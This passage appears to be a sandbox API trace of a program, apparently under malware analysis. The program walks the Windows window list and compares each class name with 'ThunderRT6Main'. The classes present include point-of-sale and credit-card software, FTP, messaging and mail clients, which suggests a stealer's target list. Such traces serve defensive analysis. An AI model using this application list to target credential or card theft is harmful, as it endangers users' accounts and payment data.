lpdwProcessId=0x0) returned 0xa8c [0091.723] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0091.723] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.723] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.723] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0091.723] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0091.723] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0091.723] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0091.723] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0091.723] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0091.723] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.723] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.723] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0091.723] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0091.723] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0091.723] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0091.723] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0091.723] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0091.723] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.723] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.723] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0091.723] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0091.723] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0091.723] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0091.723] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0091.723] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0091.723] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.723] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.723] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0091.723] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0091.723] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0091.724] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0091.724] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0091.724] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0091.724] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.724] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.724] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0091.724] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0091.724] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0091.724] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0091.724] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0091.724] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0091.724] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.724] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.724] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0091.724] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0091.724] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0091.724] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0091.724] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0091.724] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0091.724] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.724] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.724] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0091.724] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0091.724] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0091.724] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0091.724] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0091.724] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0091.724] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.724] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.724] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0091.724] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0091.725] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0091.725] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0091.725] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0091.725] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0091.725] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.725] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.725] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0091.725] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0091.725] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0091.725] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0091.725] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0091.725] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0091.725] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.725] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.725] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0091.725] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0091.725] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0091.725] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0091.725] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0091.725] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0091.725] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.725] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.725] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0091.725] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0091.725] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0091.725] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0091.725] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0091.725] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0091.725] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.725] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.725] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0091.726] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0091.726] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0091.726] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0091.726] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0091.726] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0091.726] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.726] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.726] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0091.726] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0091.726] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0091.726] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0091.726] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0091.726] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0091.726] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.726] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.726] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0091.726] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0091.726] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0091.726] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0091.726] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0091.726] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0091.726] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.726] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.726] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0091.726] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0091.726] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0091.726] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0091.726] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0091.726] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0091.726] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.726] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.726] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0091.726] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0091.726] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0091.727] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0091.727] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0091.727] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.727] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0091.727] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0091.727] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0091.727] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0091.727] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0091.727] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.727] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0091.727] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0091.727] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0091.727] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0091.727] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0091.727] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.727] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0091.727] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0091.727] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0091.727] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0091.727] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0091.727] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.727] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0091.727] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0091.727] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0091.727] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0091.727] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0091.728] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0091.728] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.728] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0091.728] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0091.728] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0091.728] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0091.728] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0091.728] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0091.728] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.728] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0091.728] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0091.728] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0091.728] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0091.728] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0091.728] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0091.728] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.728] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0091.728] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0091.728] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0091.728] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0091.728] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0091.728] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0091.728] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.728] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0091.728] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0091.728] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0091.728] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0091.728] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0091.728] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0091.729] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.729] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0091.729] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0091.729] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0091.729] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0091.729] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0091.729] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0091.729] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.729] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0091.729] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0091.729] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0091.729] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0091.729] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0091.729] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0091.729] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.729] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0091.729] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0091.729] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0091.729] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0091.729] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0091.729] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0091.729] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.729] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0091.729] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0091.729] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0091.729] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0091.729] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0091.729] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0091.730] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.730] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0091.730] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0091.730] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0091.730] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0091.730] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0091.730] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0091.730] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.730] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0091.730] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0091.730] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0091.730] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0091.730] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0091.730] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0091.730] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.730] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0091.730] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0091.730] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0091.730] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0091.730] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0091.730] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0091.730] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.730] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0091.730] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0091.730] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0091.730] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0091.730] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0091.730] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0091.730] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0091.731] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0091.731] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0091.731] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0091.731] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0091.731] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0091.731] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0091.731] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0091.731] lstrcmpA 